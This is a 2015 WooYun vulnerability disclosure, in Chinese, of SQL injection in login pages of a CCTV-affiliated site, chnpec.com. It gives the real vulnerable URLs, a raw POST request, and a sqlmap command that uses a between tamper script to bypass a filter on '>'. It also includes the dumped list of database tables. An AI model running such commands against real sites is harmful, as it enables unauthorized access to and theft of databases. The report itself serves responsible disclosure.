当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0159734

漏洞标题:cctv某分站多处SQL注入打包(绕过过滤)

相关厂商:中国网络电视台

漏洞作者: hecate

提交时间:2015-12-10 10:15

修复时间:2016-01-23 15:16

公开时间:2016-01-23 15:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-10: 细节已通知厂商并且等待厂商处理中
2015-12-10: 厂商已经确认,细节仅向厂商公开
2015-12-20: 细节向核心白帽子及相关领域专家公开
2015-12-30: 细节向普通白帽子公开
2016-01-09: 细节向实习白帽子公开
2016-01-23: 细节向公众公开

简要描述:

只过滤了 > 符号

详细说明:

chnpec_meitu_1.jpg


4个登录入口皆可注入

http://www.chnpec.com/cpec_tran/index.php?action=translat-ShowLogin
http://www.chnpec.com/cpec_zh/index.php?action=login-checklogin
http://www.chnpec.com/cpec_international_zh/index.php?action=login-checklogin&rel=L2NwZWNfaW50ZXJuYXRpb25hbF96aC8=
http://www.chnpec.com/cpec_international_en/index.php?action=login-checklogin&rel=L2NwZWNfaW50ZXJuYXRpb25hbF9lbi8=


以其中一个为例

POST /cpec_tran/index.php?action=translat-userLogin HTTP/1.1
Host: www.chnpec.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.chnpec.com/cpec_tran/index.php?action=translat-ShowLogin
Cookie: PHPSESSID=4c8d55rdanaakmga5q34cc6kl4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
tran_username=admin&tran_password=admin


参数 username
直接使用sqlmap跑不出

2.png


然后使用between替换大于符号即可绕过

sqlmap -u "http://www.chnpec.com/cpec_tran/index.php?action=translat-userLogin" --data "tran_username=admin&tran_password=admin" --dbs --random-agent --tamper between.py

漏洞证明:

11.png


数据挺多

Database: cpec
+---------------------------+---------+
| Table | Entries |
+---------------------------+---------+
| crproggetrightfr | 302184 |
| program_view | 15344 |
| tab_basicinformation | 15344 |
| crproginfo | 9762 |
| crprogsalerightfr | 5957 |
| crprogsalerigjt | 3699 |
| tab_video_cut | 3662 |
| tab_basicinformation_en | 1604 |
| tab_info_video | 1110 |
| tab_videoimg | 952 |
| tab_info_img | 892 |
| tiabstract | 870 |
| temp_yrj | 849 |
| tvvideoinfo | 849 |
| tiproginfo | 739 |
| welive_msg | 730 |
| tab_video | 601 |
| tab_city | 483 |
| tab_tran_task | 262 |
| perm_role_function | 242 |
| tab_material | 202 |
| tab_program_hot | 183 |
| hotwell_view | 163 |
| tab_basiccolumn | 143 |
| tab_crprogtip_relation | 133 |
| tab_tv_videoinfo | 81 |
| perm_function_group | 64 |
| tab_words | 62 |
| perm_user_role | 55 |
| tab_program_apple | 41 |
| welive_session | 38 |
| tab_user | 34 |
| tab_web_user | 32 |
| tiprogeng | 21 |
| welive_user | 15 |
| welive_comment | 14 |
| perm_role | 13 |
| incre_table | 6 |
| welive_usergroup | 4 |
| tab_tran_user | 2 |
| tab_international_syntime | 1 |
| welive_guest | 1 |
+---------------------------+---------+

修复方案:

过滤

版权声明:转载请注明来源 hecate@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-12-10 11:00

厂商回复:

非常感谢~~

最新状态:

暂无